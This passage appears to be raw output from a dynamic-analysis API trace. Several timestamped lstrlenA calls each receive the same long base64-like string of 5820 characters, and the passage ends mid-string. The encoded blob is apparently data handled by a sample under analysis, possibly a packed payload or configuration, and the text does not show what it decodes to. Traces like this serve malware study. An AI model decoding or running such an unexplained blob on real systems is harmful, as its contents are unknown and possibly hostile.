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") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8